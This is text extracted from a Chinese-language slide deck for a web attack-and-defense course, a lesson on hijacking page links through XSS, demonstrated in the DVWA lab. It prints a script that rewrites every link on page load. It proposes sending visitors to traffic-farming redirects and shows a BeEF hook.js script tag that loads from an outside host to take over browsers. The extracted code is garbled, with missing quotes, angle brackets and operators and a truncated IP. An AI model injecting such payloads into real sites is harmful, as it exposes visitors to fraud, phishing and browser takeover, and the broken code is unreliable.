Web攻防视频教程第三节 XSS篡改网页链接-01.pdf

Web攻防训练营

XSS篡改网页链接

课程内容

1.JS代码讲解3.篡改链接指向不良URL

2.XSS篡改链接4.篡改链接指向恶意URL

01

JS代码讲解

window.onload当窗口加载时，执行匿名函数。

使用for循环遍历所有获得的链接a标签。

script

window.onload=function(){

varlink=document.getElementsByTagName(a);

for(j=0;jlink.length;j++){

link[j].href=/;}

}

/script

替换为其他URL

02

XSS篡改链接

将篡改代码注入到对应的XSS位置。以DVWA反射XSS为例。

返回Whois信息

03

篡改链接指向流量URL

刷流量，某些站点的重定向。

/2081681517/GEZpU841G?ref=feedsdktype=comment#_rnd1540197060886

04

篡改链接指向恶意URL

Beef进行恶意链接生成，以及利用hook.js执行其他命令。

scriptsrc=”8:3000/hook.js”/script

总结

1.JS代码讲解3.篡改链接指向不良URL

2.XSS篡改链接4.篡改链接指向恶意URL

再见

欢迎关注Web安全训练营课程